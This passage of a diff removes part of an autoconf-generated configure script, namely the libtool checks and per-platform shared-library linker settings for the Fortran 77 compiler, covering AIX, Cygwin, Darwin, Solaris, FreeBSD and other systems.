- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_F77=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_F77=yes
- fi
- else
- lt_prog_compiler_static_works_F77=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_F77" >&5
-$as_echo "$lt_prog_compiler_static_works_F77" >&6; }
-
-if test x"$lt_prog_compiler_static_works_F77" = xyes; then
- :
-else
- lt_prog_compiler_static_F77=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_F77=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_F77=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_F77" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_F77" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_F77" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_F77=
- enable_shared_with_static_runtimes_F77=no
- archive_cmds_F77=
- archive_expsym_cmds_F77=
- old_archive_From_new_cmds_F77=
- old_archive_from_expsyms_cmds_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- thread_safe_flag_spec_F77=
- hardcode_libdir_flag_spec_F77=
- hardcode_libdir_flag_spec_ld_F77=
- hardcode_libdir_separator_F77=
- hardcode_direct_F77=no
- hardcode_minus_L_F77=no
- hardcode_shlibpath_var_F77=unsupported
- link_all_deplibs_F77=unknown
- hardcode_automatic_F77=no
- module_cmds_F77=
- module_expsym_cmds_F77=
- always_export_symbols_F77=no
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_F77=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_F77="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_F77=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_F77='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_F77='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_F77="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_F77=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_F77=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_F77=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_F77='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, F77) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_F77='-L$libdir'
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=no
- enable_shared_with_static_runtimes_F77=yes
- export_symbols_cmds_F77='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_F77='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
- archive_cmds_F77='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- archive_expsym_cmds_F77='sed "s,^,_," $export_symbols >$output_objdir/$soname.expsym~$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-h,$soname ${wl}--retain-symbols-file,$output_objdir/$soname.expsym ${wl}--image-base,`expr ${RANDOM-$$} % 4096 / 2 \* 262144 + 1342177280` -o $lib'
- ;;
-
- linux*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- tmp_addflag=
- case $cc_basename,$host_cpu in
- pgcc*) # Portland Group C compiler
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag'
- ;;
- pgf77* | pgf90* | pgf95*) # Portland Group f77 and f90 compilers
- whole_archive_flag_spec_F77='${wl}--whole-archive`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}--no-whole-archive'
- tmp_addflag=' $pic_flag -Mnomain' ;;
- ecc*,ia64* | icc*,ia64*) # Intel C compiler on ia64
- tmp_addflag=' -i_dynamic' ;;
- efc*,ia64* | ifort*,ia64*) # Intel Fortran compiler on ia64
- tmp_addflag=' -i_dynamic -nofor_main' ;;
- ifc* | ifort*) # Intel Fortran compiler
- tmp_addflag=' -nofor_main' ;;
- esac
- archive_cmds_F77='$CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-
- if test $supports_anon_versioning = yes; then
- archive_expsym_cmds_F77='$echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- $echo "local: *; };" >> $output_objdir/$libname.ver~
- $CC -shared'"$tmp_addflag"' $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib'
- fi
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
- solaris*)
- if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then
- ld_shlibs_F77=no
- cat <<EOF 1>&2
-
-*** Warning: The releases 2.8.* of the GNU linker cannot reliably
-*** create shared libraries on Solaris systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.9.1 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-EOF
- elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6* | unixware* | OpenUNIX*)
- case `$LD -v 2>&1` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.1[0-5].*)
- ld_shlibs_F77=no
- cat <<_LT_EOF 1>&2
-
-*** Warning: Releases of the GNU linker prior to 2.16.91.0.3 can not
-*** reliably create shared libraries on SCO systems. Therefore, libtool
-*** is disabling shared libraries support. We urge you to upgrade GNU
-*** binutils to release 2.16.91.0.3 or newer. Another option is to modify
-*** your PATH or compiler configuration so that the native linker is
-*** used, and then restart.
-
-_LT_EOF
- ;;
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-rpath,$libdir`'
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname,\${SCOABSPATH:+${install_libdir}/}$soname,-retain-symbols-file,$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
- ;;
-
- sunos4*)
- archive_cmds_F77='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- wlarc=
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- archive_expsym_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs_F77=no
- fi
- ;;
- esac
-
- if test "$ld_shlibs_F77" = no; then
- runpath_var=
- hardcode_libdir_flag_spec_F77=
- export_dynamic_flag_spec_F77=
- whole_archive_flag_spec_F77=
- fi
- else
- # PORTME fill in a description of your system's linker (not GNU ld)
- case $host_os in
- aix3*)
- allow_undefined_flag_F77=unsupported
- always_export_symbols_F77=yes
- archive_expsym_cmds_F77='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname'
- # Note: this linker hardcodes the directories in LIBPATH if there
- # are no directories specified by -L.
- hardcode_minus_L_F77=yes
- if test "$GCC" = yes && test -z "$lt_prog_compiler_static"; then
- # Neither direct hardcoding nor static linking is supported with a
- # broken collect2.
- hardcode_direct_F77=unsupported
- fi
- ;;
-
- aix4* | aix5*)
- if test "$host_cpu" = ia64; then
- # On IA64, the linker does run time linking by default, so we don't
- # have to do anything special.
- aix_use_runtimelinking=no
- exp_sym_flag='-Bexport'
- no_entry_flag=""
- else
- # If we're using GNU nm, then we don't want the "-C" option.
- # -C means demangle to AIX nm, but means don't demangle with GNU nm
- if $NM -V 2>&1 | grep 'GNU' > /dev/null; then
- export_symbols_cmds_F77='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- else
- export_symbols_cmds_F77='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols'
- fi
- aix_use_runtimelinking=no
-
- # Test if we are trying to use run time linking or normal
- # AIX style linking. If -brtl is somewhere in LDFLAGS, we
- # need to do runtime linking.
- case $host_os in aix4.[23]|aix4.[23].*|aix5*)
- for ld_flag in $LDFLAGS; do
- if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then
- aix_use_runtimelinking=yes
- break
- fi
- done
- ;;
- esac
-
- exp_sym_flag='-bexport'
- no_entry_flag='-bnoentry'
- fi
-
- # When large executables or shared objects are built, AIX ld can
- # have problems creating the table of contents. If linking a library
- # or program results in "error TOC overflow" add -mminimal-toc to
- # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not
- # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS.
-
- archive_cmds_F77=''
- hardcode_direct_F77=yes
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
-
- if test "$GCC" = yes; then
- case $host_os in aix4.[012]|aix4.[012].*)
- # We only want to do this on AIX 4.2 and lower, the check
- # below for broken collect2 doesn't work under 4.3+
- collect2name=`${CC} -print-prog-name=collect2`
- if test -f "$collect2name" && \
- strings "$collect2name" | grep resolve_lib_name >/dev/null
- then
- # We have reworked collect2
- hardcode_direct_F77=yes
- else
- # We have old collect2
- hardcode_direct_F77=unsupported
- # It fails to find uninstalled libraries when the uninstalled
- # path is not listed in the libpath. Setting hardcode_minus_L
- # to unsupported forces relinking
- hardcode_minus_L_F77=yes
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_libdir_separator_F77=
- fi
- ;;
- esac
- shared_flag='-shared'
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag="$shared_flag "'${wl}-G'
- fi
- else
- # not using gcc
- if test "$host_cpu" = ia64; then
- # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release
- # chokes on -Wl,-G. The following line is correct:
- shared_flag='-G'
- else
- if test "$aix_use_runtimelinking" = yes; then
- shared_flag='${wl}-G'
- else
- shared_flag='${wl}-bM:SRE'
- fi
- fi
- fi
-
- # It seems that -bexpall does not export symbols beginning with
- # underscore (_), so it is better to generate a list of symbols to export.
- always_export_symbols_F77=yes
- if test "$aix_use_runtimelinking" = yes; then
- # Warning - without using the other runtime loading flags (-brtl),
- # -berok will link without error, but may produce a broken library.
- allow_undefined_flag_F77='-berok'
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds_F77="\$CC"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
- else
- if test "$host_cpu" = ia64; then
- hardcode_libdir_flag_spec_F77='${wl}-R $libdir:/usr/lib:/lib'
- allow_undefined_flag_F77="-z nodefs"
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$exp_sym_flag:\$export_symbols"
- else
- # Determine the default libpath from the value encoded in an empty executable.
- cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_link "$LINENO"; then :
-
-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`
-# Check for a 64-bit object if we didn't find anything.
-if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; }
-}'`; fi
-fi
-rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-
- hardcode_libdir_flag_spec_F77='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
- # -berok will link without error, but may produce a broken library.
- no_undefined_flag_F77=' ${wl}-bernotok'
- allow_undefined_flag_F77=' ${wl}-berok'
- # Exported symbols can be pulled into shared objects from archives
- whole_archive_flag_spec_F77='$convenience'
- archive_cmds_need_lc_F77=yes
- # This is similar to how AIX traditionally builds its shared libraries.
- archive_expsym_cmds_F77="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs ${wl}-bnoentry $compiler_flags ${wl}-bE:$export_symbols${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname'
- fi
- fi
- ;;
-
- amigaos*)
- archive_cmds_F77='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- # see comment about different semantics on the GNU ld section
- ld_shlibs_F77=no
- ;;
-
- bsdi[45]*)
- export_dynamic_flag_spec_F77=-rdynamic
- ;;
-
- cygwin* | mingw* | pw32*)
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
- hardcode_libdir_flag_spec_F77=' '
- allow_undefined_flag_F77=unsupported
- # Tell ltmain to make .lib files, not .a files.
- libext=lib
- # Tell ltmain to make .dll files, not .so files.
- shrext_cmds=".dll"
- # FIXME: Setting linknames here is a bad hack.
- archive_cmds_F77='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames='
- # The linker will automatically build a .lib file if we build a DLL.
- old_archive_From_new_cmds_F77='true'
- # FIXME: Should let the user specify the lib program.
- old_archive_cmds_F77='lib /OUT:$oldlib$oldobjs$old_deplibs'
- fix_srcfile_path_F77='`cygpath -w "$srcfile"`'
- enable_shared_with_static_runtimes_F77=yes
- ;;
-
- darwin* | rhapsody*)
- case $host_os in
- rhapsody* | darwin1.[012])
- allow_undefined_flag_F77='${wl}-undefined ${wl}suppress'
- ;;
- *) # Darwin 1.3 on
- if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- else
- case ${MACOSX_DEPLOYMENT_TARGET} in
- 10.[012])
- allow_undefined_flag_F77='${wl}-flat_namespace ${wl}-undefined ${wl}suppress'
- ;;
- 10.*)
- allow_undefined_flag_F77='${wl}-undefined ${wl}dynamic_lookup'
- ;;
- esac
- fi
- ;;
- esac
- archive_cmds_need_lc_F77=no
- hardcode_direct_F77=no
- hardcode_automatic_F77=yes
- hardcode_shlibpath_var_F77=unsupported
- whole_archive_flag_spec_F77=''
- link_all_deplibs_F77=yes
- if test "$GCC" = yes ; then
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- else
- case $cc_basename in
- xlc*)
- output_verbose_link_cmd='echo'
- archive_cmds_F77='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring'
- module_cmds_F77='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags'
- # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin lds
- archive_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- module_expsym_cmds_F77='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}'
- ;;
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
- ;;
-
- dgux*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- freebsd1*)
- ld_shlibs_F77=no
- ;;
-
- # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor
- # support. Future versions do this automatically, but an explicit c++rt0.o
- # does not break anything, and helps significantly (at the cost of a little
- # extra space).
- freebsd2.2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # Unfortunately, older versions of FreeBSD 2 do not have this feature.
- freebsd2*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
- freebsd* | kfreebsd*-gnu | dragonfly*)
